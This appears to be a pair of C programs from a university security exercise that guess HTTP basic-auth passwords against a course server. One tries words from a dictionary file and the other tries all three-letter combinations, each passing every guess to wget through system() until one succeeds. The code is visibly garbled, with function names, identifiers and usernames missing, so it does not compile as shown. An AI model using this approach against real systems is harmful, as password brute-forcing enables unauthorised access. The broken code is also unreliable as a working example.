

#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#define OneBillion 1e9


int () {
 FILE *fp;
 int ret;
 char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
 char str[100];
 char passwd[150];
 int startTime, stopTime, final;
 strcpy(passwd,strin);
 fp = fopen("words","r");
 
 if (fp == NULL) {
    printf ("\n Error opening file; exiting...");
    exit(0); 
 }

 else 
 startTime = time();
while (fgets(str,20,fp) != NULL) {
         str[strlen(str)-1] = '\0';
         if (strlen(str) < 4) {
            strcat(passwd,str);
            printf("string is %s\n",passwd);
            ret = system(passwd);
            strcpy(passwd,strin);
            if (ret == 0) break;
         }
 }
 stopTime = time();
   final = stopTime-startTime;
       printf("\n============================================================");
       printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
       printf("\n UserName : ");
       printf("\n Password : %s\n",str);
       printf("The program took %lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );   
       printf("\n============================================================");
}













#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>

int ()
{
  char url[80];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
  char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  char username[8];
  char pass[4];
  int i,j,k,hack=1;
  int attempt = 1;
  int , end, time_var;

   = time();
  for ( i = 0 ;i<strlen();i++)
    {
      pass[0]=[i];
      for( j = 0 ;j<strlen();j++)
        {
          pass[1]=[j];
          for ( k = 0 ;k<strlen();k++)
             {
               fflush(stdin);
               pass[2]=[k];
               pass[3]='\0';
               printf("%s\n",pass);

               sprintf(url,"%s%s %s",syscom,pass,http);
               hack = system(url);
               attempt++;
               if (hack == 0)
               {
                  end = time();
                  time_var = (end-);
                  printf("\nbr	The password is :%s",pass);
                  printf("\nNo. of Attempts   crack the password :%d",attempt);
                  printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
                  exit(1);
                }
              }
          }
      }
 }

